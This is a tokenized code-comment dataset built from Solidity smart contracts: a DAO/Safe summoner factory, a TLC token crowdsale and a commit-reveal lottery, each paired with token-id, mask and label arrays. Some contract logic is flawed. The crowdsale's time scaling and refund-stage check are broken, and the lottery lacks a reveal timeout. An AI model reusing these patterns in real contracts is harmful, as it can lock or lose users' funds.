[ 1, 3061, 445, 358, 4604, 326, 3844, 434, 609, 2547, 3310, 3577, 864, 326, 1456, 3844, 225, 3844, 951, 1320, 657, 8140, 3844, 358, 702, 358, 312, 474, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 701, 2547, 774, 5912, 12, 11890, 5034, 3844, 951, 1320, 13, 2713, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 609, 2547, 6275, 273, 3844, 951, 1320, 18, 16411, 24899, 701, 2547, 5147, 2934, 2892, 12, 2163, 636, 11890, 5034, 12, 9341, 6291, 6672, 31809, 1435, 10019, 203, 3639, 2583, 12, 701, 2547, 6275, 405, 374, 16, 315, 5800, 1895, 30, 3844, 434, 702, 353, 4885, 4587, 8863, 203, 3639, 327, 609, 2547, 6275, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.0; pragma abicoder v2; // SPDX-License-Identifier: GPL-3.0-or-later // import "hardhat/console.sol"; interface IMinionFactory { function summonMinionAndSafe( address, string memory, uint256, uint256 ) external returns (address); } interface IMolochFactory { function summonMoloch( address, address, address[] memory, uint256, uint256, uint256, uint256, uint256, uint256 ) external returns (address); } interface IMOLOCH { // brief interface for moloch dao v2 function depositToken() external view returns (address); function tokenWhitelist(address token) external view returns (bool); function totalShares() external view returns (uint256); function getProposalFlags(uint256 proposalId) external view returns (bool[6] memory); function getUserTokenBalance(address user, address token) external view returns (uint256); function members(address user) external view returns ( address, uint256, uint256, bool, uint256, uint256 ); function memberAddressByDelegateKey(address user) external view returns (address); function userTokenBalances(address user, address token) external view returns (uint256); function cancelProposal(uint256 proposalId) external; function submitProposal( address applicant, uint256 sharesRequested, uint256 lootRequested, uint256 tributeOffered, address tributeToken, uint256 paymentRequested, address paymentToken, string calldata details ) external returns (uint256); function withdrawBalance(address token, uint256 amount) external; struct Proposal { address applicant; // the applicant who wishes to become a member - this key will be used for withdrawals (doubles as guild kick target for gkick proposals) address proposer; // the account that submitted the proposal (can be non-member) address sponsor; // the member that sponsored the proposal (moving it into the queue) uint256 sharesRequested; // the # of shares the applicant is requesting uint256 lootRequested; // the amount of loot the applicant is requesting uint256 tributeOffered; // amount of tokens offered as tribute address tributeToken; // tribute token contract reference uint256 paymentRequested; // amount of tokens requested as payment address paymentToken; // payment token contract reference uint256 startingPeriod; // the period in which voting can start for this proposal uint256 yesVotes; // the total number of YES votes for this proposal uint256 noVotes; // the total number of NO votes for this proposal bool[6] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick] string details; // proposal details - could be IPFS hash, plaintext, or JSON uint256 maxTotalSharesAndLootAtYesVote; // the maximum # of total shares encountered at a yes vote on this proposal } function proposals(uint256 proposalId) external view returns ( address, address, address, uint256, uint256, uint256, address, uint256, address, uint256, uint256, uint256 ); function setSharesLoot( address[] calldata, uint256[] calldata, uint256[] calldata, bool mint ) external; function setSingleSharesLoot( address, uint256, uint256, bool ) external; function setShaman(address, bool) external; } interface IMINION { function avatar() external view returns (address); } /// @title SafeMinionSummoner - Factory contract to depoy new DAO Minions and Safes /// @dev Can deploy a minion and a new safe, or just a minion to be attached to an existing safe /// @author Dekan Brown contract DaoSafeMinionSummoner { IMinionFactory public minionSummoner; IMolochFactory public daoSummoner; struct DSM { address summoner; address moloch; address minion; address avatar; bool initialized; } mapping(uint256 => DSM) public daos; uint256 public daoIdx = 0; event SummonComplete( address summoner, address indexed moloch, address minion, address avatar, string details ); event SetupComplete( address indexed moloch, address shaman, address[] extraShamans, address[] summoners, uint256[] summonerShares, uint256[] summonerLoot ); constructor(address _minionSummoner, address _daoSummoner) { minionSummoner = IMinionFactory(_minionSummoner); daoSummoner = IMolochFactory(_daoSummoner); } /// @dev Function to summon minion and configure with a new safe and a dao function summonDaoMinionAndSafe( // address _summoner, uint256 _saltNonce, uint256 _periodDuration, uint256 _votingPeriodLength, uint256 _gracePeriodLength, address[] calldata _approvedTokens, // TODO: should this just be the native wrapper string calldata details ) external returns (address _moloch, address _minion) { // Deploy new minion but do not set it up yet _moloch = daoSummoner.summonMoloch( msg.sender, // summoner TODO: do we still need this address(this), // _shaman, _approvedTokens, _periodDuration, _votingPeriodLength, _gracePeriodLength, 0, // deposit 3, // dillution bound 0 // reward ); _minion = minionSummoner.summonMinionAndSafe( _moloch, details, 0, _saltNonce ); IMINION minionContract = IMINION(_minion); daoIdx = daoIdx + 1; daos[daoIdx] = DSM( msg.sender, _moloch, _minion, minionContract.avatar(), false ); emit SummonComplete( msg.sender, _moloch, _minion, minionContract.avatar(), details ); } function setUpDaoMinionAndSafe( uint256 id, address[] memory _summoners, uint256[] memory _summonerShares, uint256[] memory _summonerLoot, address[] memory _shamans ) public { DSM memory dsm = daos[id]; require(dsm.summoner == msg.sender, "!summoner"); require(!dsm.initialized, "already initialized"); IMOLOCH molochContract = IMOLOCH(dsm.moloch); daos[id].initialized = true; // summoner gets atleast 1 share molochContract.setSingleSharesLoot( dsm.summoner, 1, 0, true ); molochContract.setSharesLoot( _summoners, _summonerShares, _summonerLoot, true ); molochContract.setShaman(dsm.avatar, true); for (uint256 i = 0; i < _shamans.length; i++) { molochContract.setShaman(_shamans[i], true); } molochContract.setShaman(address(this), false); emit SetupComplete( dsm.moloch, dsm.avatar, _shamans, _summoners, _summonerShares, _summonerLoot ); } }
summoner gets atleast 1 share
function setUpDaoMinionAndSafe( uint256 id, address[] memory _summoners, uint256[] memory _summonerShares, uint256[] memory _summonerLoot, address[] memory _shamans ) public { DSM memory dsm = daos[id]; require(dsm.summoner == msg.sender, "!summoner"); require(!dsm.initialized, "already initialized"); IMOLOCH molochContract = IMOLOCH(dsm.moloch); daos[id].initialized = true; molochContract.setSingleSharesLoot( dsm.summoner, 1, 0, true ); molochContract.setSharesLoot( _summoners, _summonerShares, _summonerLoot, true ); molochContract.setShaman(dsm.avatar, true); for (uint256 i = 0; i < _shamans.length; i++) { molochContract.setShaman(_shamans[i], true); } molochContract.setShaman(address(this), false); emit SetupComplete( dsm.moloch, dsm.avatar, _shamans, _summoners, _summonerShares, _summonerLoot ); }
5,780,507
[ 1, 1364, 2586, 264, 5571, 20098, 404, 7433, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 24292, 11412, 2930, 285, 1876, 9890, 12, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 1758, 8526, 3778, 389, 1364, 2586, 414, 16, 203, 3639, 2254, 5034, 8526, 3778, 389, 1364, 2586, 264, 24051, 16, 203, 3639, 2254, 5034, 8526, 3778, 389, 1364, 2586, 264, 1504, 352, 16, 203, 3639, 1758, 8526, 3778, 389, 674, 301, 634, 7010, 565, 262, 1071, 288, 203, 3639, 463, 7303, 3778, 3780, 81, 273, 5248, 538, 63, 350, 15533, 203, 3639, 2583, 12, 2377, 81, 18, 1364, 2586, 264, 422, 1234, 18, 15330, 16, 17528, 1364, 2586, 264, 8863, 203, 3639, 2583, 12, 5, 2377, 81, 18, 13227, 16, 315, 17583, 6454, 8863, 203, 203, 3639, 467, 5980, 1502, 1792, 12629, 9842, 8924, 273, 467, 5980, 1502, 1792, 12, 2377, 81, 18, 21260, 9842, 1769, 203, 3639, 5248, 538, 63, 350, 8009, 13227, 273, 638, 31, 203, 203, 3639, 12629, 9842, 8924, 18, 542, 5281, 24051, 1504, 352, 12, 203, 5411, 3780, 81, 18, 1364, 2586, 264, 16, 203, 5411, 404, 16, 203, 5411, 374, 16, 203, 5411, 638, 203, 3639, 11272, 203, 3639, 12629, 9842, 8924, 18, 542, 24051, 1504, 352, 12, 203, 5411, 389, 1364, 2586, 414, 16, 203, 5411, 389, 1364, 2586, 264, 24051, 16, 203, 5411, 389, 1364, 2586, 264, 1504, 352, 16, 203, 5411, 638, 203, 3639, 11272, 203, 540, 203, 3639, 12629, 9842, 8924, 18, 542, 1555, 301, 304, 12, 2377, 81, 18, 19660, 16, 638, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 2 ]
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract IERC20 { function balanceOf(address _to) public constant returns (uint256); function transfer(address to, uint256 value) public; function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public; function allowance(address owner, address spender) public constant returns(uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is IERC20{ using SafeMath for uint256; // Balances for each account mapping (address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping (address => mapping(address => uint256)) allowed; // What is the balance of a particular account? // @param who The address of the particular account // @return the balanace the particular account function balanceOf(address _to) public constant returns (uint256) { return balances[_to]; } // @notice send `value` token to `to` from `msg.sender` // @param to The address of the recipient // @param value The amount of token to be transferred // @return the transaction address and send the event as Transfer function transfer(address to, uint256 value) public { require ( balances[msg.sender] >= value && value > 0 ); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); Transfer(msg.sender, to, value); } // @notice send `value` token to `to` from `from` // @param from The address of the sender // @param to The address of the recipient // @param value The amount of token to be transferred // @return the transaction address and send the event as Transfer function transferFrom(address from, address to, uint256 value) public { require ( allowed[from][msg.sender] >= value && balances[from] >= value && value > 0 ); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); Transfer(from, to, value); } // Allow spender to withdraw from your account, multiple times, up to the value amount. // If this function is called again it overwrites the current allowance with value. // @param spender The address of the sender // @param value The amount to be approved // @return the transaction address and send the event as Approval function approve(address spender, uint256 value) public { require ( balances[msg.sender] >= value && value > 0 ); allowed[msg.sender][spender] = value; Approval(msg.sender, spender, value); } // Check the allowed value for the spender to withdraw from owner // @param owner The address of the owner // @param spender The address of the spender // @return the amount which spender is still allowed to withdraw from owner function allowance(address _owner, address spender) public constant returns (uint256) { return allowed[_owner][spender]; } } contract TLC is StandardToken { using SafeMath for uint256; string public constant name = "Toplancer"; string public constant symbol = "TLC"; uint256 public constant decimals = 18; uint256 public constant totalSupply = 400000000e18; } contract TLCMarketCrowdsale is TLC { uint256 public minContribAmount = 0.1 ether; // 0.1 ether uint256 public presaleCap = 20000000e18; // 5% uint256 public soldTokenInPresale; uint256 public publicSaleCap = 320000000e18; // 80% uint256 public soldTokenInPublicsale; uint256 public distributionSupply = 60000000e18; // 15% uint256 public softCap = 5000 ether; uint256 public hardCap = 60000 ether; // amount of raised money in wei uint256 public weiRaised = 0; // Wallet Address of Token address public multisig; // Owner of Token address public owner; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // how many token units a buyer gets per wei uint256 public rate = 3500 ; // 1 ether = 3500 TLC // How much ETH each address has invested to this publicsale mapping (address => uint256) public investedAmountOf; // How many distinct addresses have invested uint256 public investorCount; // fund raised during public sale uint256 public fundRaisedDuringPublicSale = 0; // How much wei we have returned back to the contract after a failed crowdfund. uint256 public loadedRefund = 0; // How much wei we have given back to investors. uint256 public weiRefunded = 0; enum Stage {PRESALE, PUBLICSALE, SUCCESS, FAILURE, REFUNDING, CLOSED} Stage public stage; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); // Refund was processed for a contributor event Refund(address investor, uint256 weiAmount); function TLCMarketCrowdsale(uint256 _startTime, uint256 _endTime, address _wallet) { require( _endTime >= _startTime && _wallet != 0x0); startTime = _startTime; endTime = _endTime; multisig = _wallet; owner=msg.sender; balances[multisig] = totalSupply; stage = Stage.PRESALE; } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); uint256 timebasedBonus = tokens.mul(getTimebasedBonusRate()).div(100); tokens = tokens.add(timebasedBonus); forwardFunds(); if (stage == Stage.PRESALE) { assert (soldTokenInPresale + tokens <= presaleCap); soldTokenInPresale = soldTokenInPresale.add(tokens); } else { assert (soldTokenInPublicsale + tokens <= publicSaleCap); if(investedAmountOf[beneficiary] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[beneficiary] = investedAmountOf[beneficiary].add(weiAmount); fundRaisedDuringPublicSale = fundRaisedDuringPublicSale.add(weiAmount); soldTokenInPublicsale = soldTokenInPublicsale.add(tokens); } balances[multisig] = balances[multisig].sub(tokens); balances[beneficiary] = balances[beneficiary].add(tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { multisig.transfer(msg.value); } // Payable method // @notice Anyone can buy the tokens on tokensale by paying ether function () public payable { buyTokens(msg.sender); } // modifier to allow only owner has full control on the function modifier onlyOwner { require(msg.sender == owner); _; } modifier isRefunding { require (stage == Stage.REFUNDING); _; } modifier isFailure { require (stage == Stage.FAILURE); _; } // @return true if crowdsale current lot event has ended function hasEnded() public constant returns (bool) { return getNow() > endTime; } // @return current time function getNow() public constant returns (uint256) { return (now * 1000); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = getNow() >= startTime && getNow() <= endTime; bool nonZeroPurchase = msg.value != 0; bool minContribution = minContribAmount <= msg.value; return withinPeriod && nonZeroPurchase && minContribution; } // Get the time-based bonus rate function getTimebasedBonusRate() internal constant returns (uint256) { uint256 bonusRate = 0; if (stage == Stage.PRESALE) { bonusRate = 50; } else { uint256 nowTime = getNow(); uint256 bonusFirstWeek = startTime + (7 days * 1000); uint256 bonusSecondWeek = bonusFirstWeek + (7 days * 1000); uint256 bonusThirdWeek = bonusSecondWeek + (7 days * 1000); uint256 bonusFourthWeek = bonusThirdWeek + (7 days * 1000); if (nowTime <= bonusFirstWeek) { bonusRate = 25; } else if (nowTime <= bonusSecondWeek) { bonusRate = 20; } else if (nowTime <= bonusThirdWeek) { bonusRate = 10; } else if (nowTime <= bonusFourthWeek) { bonusRate = 5; } } return bonusRate; } // Start public sale function startPublicsale(uint256 _startTime, uint256 _endTime, uint256 _tokenPrice) public onlyOwner { require(hasEnded() && stage == Stage.PRESALE && _endTime >= _startTime && _tokenPrice > 0); stage = Stage.PUBLICSALE; startTime = _startTime; endTime = _endTime; rate = _tokenPrice; } // @return true if the crowdsale has raised enough money to be successful. function isMaximumGoalReached() public constant returns (bool reached) { return weiRaised >= hardCap; } // Validate and update the crowdsale stage function updateICOStatus() public onlyOwner { require(hasEnded() && stage == Stage.PUBLICSALE); if (hasEnded() && weiRaised >= softCap) { stage = Stage.SUCCESS; } else if (hasEnded()) { stage = Stage.FAILURE; } } // Allow load refunds back on the contract for the refunding. The team can transfer the funds back on the smart contract in the case the minimum goal was not reached. function loadRefund() public payable isFailure{ require(msg.value != 0); loadedRefund = loadedRefund.add(msg.value); if (loadedRefund <= fundRaisedDuringPublicSale) { stage = Stage.REFUNDING; } } // Investors can claim refund. // Note that any refunds from indirect buyers should be handled separately, and not through this contract. function refund() public isRefunding { uint256 weiValue = investedAmountOf[msg.sender]; require (weiValue != 0); investedAmountOf[msg.sender] = 0; balances[msg.sender] = 0; weiRefunded = weiRefunded.add(weiValue); Refund(msg.sender, weiValue); msg.sender.transfer(weiValue); if (weiRefunded <= fundRaisedDuringPublicSale) { stage = Stage.CLOSED; } } // Set/change Multi-signature wallet address function changeMultiSignatureWallet (address _multisig)public onlyOwner{ multisig = _multisig; } // Change Minimum contribution function changeMinContribution(uint256 _minContribAmount)public onlyOwner { minContribAmount = _minContribAmount; } //Change Presale Publicsale end time function changeEndTime(uint256 _endTime) public onlyOwner { require(endTime > startTime); endTime = _endTime; } // Token distribution to Founder, Key Employee Allocation // _founderAndTeamCap = 10000000e18; 10% function sendFounderAndTeamToken(address to, uint256 value) public onlyOwner{ require ( to != 0x0 && value > 0 && distributionSupply >= value ); balances[multisig] = balances[multisig].sub(value); balances[to] = balances[to].add(value); distributionSupply = distributionSupply.sub(value); Transfer(multisig, to, value); } }
Change Minimum contribution
function changeMinContribution(uint256 _minContribAmount)public onlyOwner { minContribAmount = _minContribAmount; }
14,051,230
[ 1, 3043, 23456, 24880, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2549, 2930, 442, 4027, 12, 11890, 5034, 389, 1154, 442, 665, 6275, 13, 482, 1338, 5541, 288, 203, 3639, 1131, 442, 665, 6275, 273, 389, 1154, 442, 665, 6275, 31, 203, 565, 289, 203, 1377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.22 <0.6.0; contract Lottery { address public owner; address payable player0; address payable player1; address payable winner; bytes32 hash0; bytes32 hash1; string secret0; string secret1; // W = owner, state constructor() public { owner = msg.sender; } // W = player0 // R = balance function join0() payable public { require (player0==address(0)); require (msg.value > .01 ether); player0 = msg.sender; } // W = player1 // R = balance function join1() payable public { require (player1==address(0)); require (msg.value > .01 ether); player1 = msg.sender; } // W = hash0 // R = player0, hash0 function commit0(bytes32 h) public { require (msg.sender==player0); require (hash0==0); hash0 = h; } // W = hash1 // R = player1, hash1 function commit1(bytes32 h) public { require (msg.sender==player1); require (hash1==0); hash1 = h; } // W = secret0 // R = player0, hash0, hash1 function reveal0(string memory s) public { require (msg.sender==player0); require (hash0!=0 && hash1!=0 && hash0 != hash1); require(keccak256(abi.encodePacked(s))==hash0); secret0 = s; } // W = secret1 // R = player1, hash0, hash1 function reveal1(string memory s) public { require (msg.sender==player1); require (hash0!=0 && hash1!=0 && hash0 != hash1); require(keccak256(abi.encodePacked(s))==hash1); secret1 = s; } function win() public { uint256 l0 = bytes(secret0).length; uint256 l1 = bytes(secret1).length; require (l0!=0 && l1!=0); if ((l0+l1) % 2 == 0) { winner = player0; } else { winner = player1; } winner.transfer(address(this).balance); // reset state for next round player0 = address(0); player1 = address(0); hash0 = 0; hash1 = 0; secret0 = ""; secret1 = ""; } }
W = secret1 R = player1, hash0, hash1
function reveal1(string memory s) public { require (msg.sender==player1); require (hash0!=0 && hash1!=0 && hash0 != hash1); require(keccak256(abi.encodePacked(s))==hash1); secret1 = s; }
943,260
[ 1, 59, 273, 4001, 21, 534, 273, 7291, 21, 16, 1651, 20, 16, 1651, 21, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 283, 24293, 21, 12, 1080, 3778, 272, 13, 1071, 288, 203, 3639, 2583, 261, 3576, 18, 15330, 631, 14872, 21, 1769, 203, 3639, 2583, 261, 2816, 20, 5, 33, 20, 597, 1651, 21, 5, 33, 20, 597, 225, 1651, 20, 480, 1651, 21, 1769, 203, 3639, 2583, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 87, 3719, 631, 2816, 21, 1769, 203, 3639, 4001, 21, 273, 272, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]